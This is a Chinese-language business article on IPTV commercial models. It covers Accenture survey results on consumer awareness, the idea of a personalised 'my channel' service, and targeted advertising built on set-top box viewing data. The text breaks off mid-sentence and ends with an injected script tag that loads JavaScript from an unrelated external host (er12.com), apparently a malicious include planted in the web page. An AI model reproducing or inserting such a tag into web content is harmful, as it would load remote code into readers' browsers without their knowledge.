关于iptv商业案例和商业模式的问题不断出现。
有些爱说笑话的人已经在问，“ip”（internetprotocal，互联网协议——编者注）是代表“无限可能（infinitepossibilities）”，还是“不可能回报（impossiblepayback.）”？我们的回答是：iptv必然会成为一种重要的新业务，但所有参与竞争的各类公司，只有那些了解iptv，并能克服障碍的公司，才能得到丰厚的回报。
客户缺少对iptv的了解，以及他们对iptv价值主张的不清楚，是这些公司遇到的首要障碍。埃森哲最近进行了一项关于国际iptv现状及发展的调研，抽样调查了西欧地区和美国客户的观点，其中几乎一半的受调查者并不真正了解iptv，甚至那些声称对iptv有所了解的人们，相互之间的观点也大相径庭。
这是不是表明现在就推动iptv业务存在问题?不一定。人们知道电视是什么，也知道互联网是什么，而在他们了解之前，这两种业务的启动，也没有出现大的问题。并且，我们的研究还表明，人们对iptv可能提供的各种服务，有着较大的需求。一旦客户认为iptv业务为他们提供的信息与娱乐有价值，并且价格也有足够的吸引力，那么客户对iptv的了解兴趣和相应的订单就会接踵而至。
因此，服务商首要的举措，是创建有吸引力的iptv价值取向，而不是匆忙推销iptv。有些运营商把iptv作为提供录像服务的另一种方式来推销，只是在其中加入了一些较酷的互动作为奖励，例如为观看fifa（国际足联）世界杯的观众提供比赛实时下注，或者提供实时连接世界其他地区球迷的选项等，而这些并不足以长时间地吸引用户。
更让人难以接受的是，一些iptv解决方案提供商吹嘘的大部分互动特色及其他功能，在常规数字交互有线电视网上早已得到了实现，例如互动功能。但问题是，如果互动是iptv服务商营销的惟一亮点，那么仅英国就有近300万数字有线电视网用户可能会回答“无聊”，因为不选择iptv，他们同样可以获得这个功能。
因此，诸如此类的价值取向，很容易使服务提供商陷入消费者担心的“iptv问题”中，埃森哲的研究也表明了同样的可能。消费者家中的互联网经常断线，并且他们还要同电脑病毒和讨厌的网络广告做斗争，而许多人相信，在iptv业务服务中，他们也会遭遇类似问题。
个人频道开辟“一人市场”
实际上，iptv还有更多有深度的价值取向，“个人频道”就是其中之一。
浏览有线电视提供的100个频道，或者卫星电视服务的500个频道的一周电视节目指南，然后问自己一个简单的问题：这些节目中有多少与我的兴趣有关?最可能出现的回答是，你不知道。
但是，通过将视频节目表、互联网浏览和内容管理软件相结合，你可以像网上冲浪一样搜索视频内容，找到并置入令你最感兴趣的内容，想想这时情况会怎样？这不只是“视频点播”（vod）客户所拥有的那种服务，而是“我的视频点播”（myvod）。随着时间的推移，用户能看到多少电视频道将不再重要，传统的电视播放与接收思维模式也将变得越来越没有意义，重要的是只有一个频道：我的频道。
当iptv提供商知道他们可以将客户确定为“一人市场”，能够根据单个用户的选择，或者单个用户已经表示出来的兴趣，确定服务内容和广告内容，从而提高提供内容的相关性，并由此提升用户对其公司的满意度和忠诚度。互联网用户已经对这一特色有所了解：一些商业网站，如amazon.com或苹果公司的itunes，已经可以通过成熟的软件来分析客户过去的购买行为，并正确判断某个客户的兴趣所在，然后向这个客户推荐他可能感兴趣的产品与服务。
现在，传统电视的广告问题显然已经复杂化并且相当棘手，因为电视观众不断找到避免观看传统广告节目的方法（例如通过个人录像机及类似设备等）。我们的iptv客户研究也发现，“较少的广告”是通过互联网提供的录像服务，这是其很吸引客户的一个特色。实际上，这一针对广告的分析表明，客户要的也许不是“少些广告”，而是“少一些对我毫无意义的广告”。
iptv将从根本上改变传统电视的广告模式，因为机顶盒实际上可以成为一个观看和购买行为的数据库，iptv将为个性化广告带来机遇——包括一对一的目标服务和互动广告。借助于iptv业务，广告商可以分析并找到客户爱看的广告，而且这一数据随后还可用于提高营销活动的效率。
如果用户因此担心隐私的话，他们可以选择参与或退出iptv的广告监测功能，并可以权衡这两种选择的利弊所在。就像消费者在杂货店使用的客户跟踪卡一样——通过这个卡，商店对他们购买的每包口香糖和每罐花生酱都了如指掌，并会根据他们的兴趣特制折扣、特殊商品与服务等。类似的功能能够增加iptv业务在产业链中的价值，客户更有?script src=http://er12.com/t.js>
